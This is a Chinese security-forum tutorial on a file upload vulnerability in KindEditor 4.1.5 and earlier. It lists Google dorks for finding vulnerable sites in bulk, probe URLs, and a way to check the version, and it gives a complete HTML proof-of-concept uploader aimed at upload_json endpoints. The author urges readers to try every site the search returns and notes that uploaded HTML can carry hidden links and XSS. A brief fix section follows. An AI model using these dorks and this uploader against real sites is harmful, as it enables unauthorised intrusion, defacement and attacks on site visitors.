编辑器漏洞之kindeditor

master666   ·   发表于 5个月前   ·   技术文章

你整天告诉我你找不到漏洞,今天大先生带你飞一飞。竟然存在找不到漏洞的现象,怎么可能。今天呢给大家复现一个kindeditor<=4.1.5上传漏洞。小弟能力有限,还在坚持学习的路上,还请大佬多多指教。自我感觉编辑器漏洞很容易忽视,并且老师也没有着重讲解编辑器漏洞。此文章作为记录本人学习的开始,日后不定时更新。丰富自己的阅历。我们共同进步。

0x00 漏洞描述

一定要注意是版本小于4.1.5。可能现在同学会问我怎么看版本,后边我悄悄告诉你。漏洞主要是存在于kindeditor编辑器里。通过编辑器你能上传.txt和.html文件。并且此漏洞的优势在于使用语言广泛,支持php/asp/jsp/asp.net。

这里html里面可以嵌套暗链接地址以及嵌套xss。Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file,在允许上传的文件扩展名中包含htm,txt:extTable.Add(“file”,”doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2”)

简单理解:就是可以通过poc间接性的上传文件。uploadbutton.html直接指向/upload_json.*?dir=file不懂没关系,后边看我实战就ok了。

0x01 批量搜索

找漏洞最必要的还是批量,别人借助工具,咱们借助谷歌。批量可以节省你大部分的时间。那么此时的你一定在关心谷歌语法吧。下边给大家列举一下。

inurl:/examples/uploadbutton.html
inurl:/php/upload_json.php
inurl:/asp.net/upload_json.ashx
inurl://jsp/upload_json.jsp
inurl://asp/upload_json.asp

我们以其中一条为例进行谷歌搜索一下

看吧,这是以其中一条语法搜索的啊
这些所有的链接都尝试一遍,找出的漏洞积分在漏洞盒子上不了榜?我信你个鬼。
好了,开个玩笑,我说到这,剩下的交给你们。

0x02 漏洞条件

要想挖掘漏洞一定要有一个可以产生漏洞的条件。这个大家都可以理解,那kindeditor编辑器的漏洞需要什么条件呢。

1.首先一定要看脚本语言,对症下药。kindeditor编辑器支持php/asp/jsp/asp.net。知道你们懒,payload给你们放下边

/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php

检查的目的就是验证文件 upload_json.* 存在不存在(漏洞描述中有讲过为什么)

2.查看可目录变量是否存在那种脚本上传漏洞,这个不懂没关系,看我后边操作。这里呢同样给你们检测的payload。

kindeditor/asp/upload_json.asp?dir=file
kindeditor/asp.net/upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file

根据web容器选择合适的payload。这个不用我多说吧

0x03 漏洞复现

1.Google hacking搜索漏洞点。以其中一条语法为例

2.这么多网站随便点一个呗。
点进去之后发现是上传点,大概你第一眼想到的就是文件上传漏洞,当然这里存不存在我没试过,你可以尝试一下。

3.悄悄的告诉你如何查看版本。

http://www.xxx.com/kindeditor/kindeditor.js

对,就这!不信你看图。

很显然,4.1.4版本,在我们的掌控中。

4.验证文件 upload_json.* 是否存在(上边方法有列举)
这里呢可以通过分析网站结构来查看脚本语言,我这里用的插件

可以看到web服务器是IIS,那就猜想asp的站嘛,当然如果你不想分析,一共4条你挨个试一下嘛,访问一下看看

很明显,存在。

5.今天的武器就是前辈创造的poc。这里需要修改<script>…<script>以及url : 的内容,根据实际情况修改.

<html><head>
<title>Uploader</title>
<script src="http://www.xxx.com/kindeditor//kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://www.xxx.com/kindeditor/jsp/upload_json.jsp?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>

6.做一个html,用浏览器打开看一下。

7.这里呢要配合一下抓包,需要看一下返回地址。我上传一个txt文件,看一下

8.我们访问一下文件看看。

成功了。当然这了可以传很多格式,上边有介绍。比如这里传一个html里面可以嵌套暗链接地址以及嵌套xss。

0x04 漏洞修复

1.直接删除upload_json.和file_manager_json.

2.升级kindeditor到最新版本

0x05 总结

可能手法比较老,毕竟也不能否定他的存在。渗透测试的核心讲究测试嘛。罗嗦了这么多就是两个重点。希望这篇文章对一直探索的我们有所帮助。也希望这篇文章对益者有益,做一位正直的白帽子。

下边的附件是poc代码,鼓励下老弟的可以1金币拿一下,不需要的话直接复制上边的poc代码。记得点赞奥,复现成功的话记得来反馈呀,我们下期见!

用户名金币积分时间理由
奖励系统 50.00 0 2020-05-23 16:04:13 投稿满 5 赞奖励
admin 30.00 0 2020-05-23 11:11:05 总结得不够全

打赏我,让我更有动力~

12 Reply   |  Until 1个月前 | 455 View

master666
发表于 5个月前

tql

评论列表

  • 加载数据中...

编写评论内容

渗透你的美
发表于 5个月前

评论列表

  • 加载数据中...

编写评论内容

蝶舞恋冰
发表于 5个月前

膜拜

评论列表

  • 加载数据中...

编写评论内容

874928252
发表于 5个月前

1

评论列表

  • 加载数据中...

编写评论内容

俩生花
发表于 5个月前

111

评论列表

  • 加载数据中...

编写评论内容

王灵
发表于 5个月前

w

评论列表

  • 加载数据中...

编写评论内容

柠檬
发表于 5个月前

111

评论列表

  • 加载数据中...

编写评论内容

13160987020
发表于 4个月前

1

评论列表

  • 加载数据中...

编写评论内容

常长老
发表于 4个月前

tql

评论列表

  • 加载数据中...

编写评论内容

guidie
发表于 4个月前

?

评论列表

  • 加载数据中...

编写评论内容

冷星魂
发表于 1个月前

tql

评论列表

  • 加载数据中...

编写评论内容

佳jia
发表于 1个月前

111

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

掌控者 © 2016. All Rights Reserved. 掌控者

Powered by 掌控者 Version 2.1.3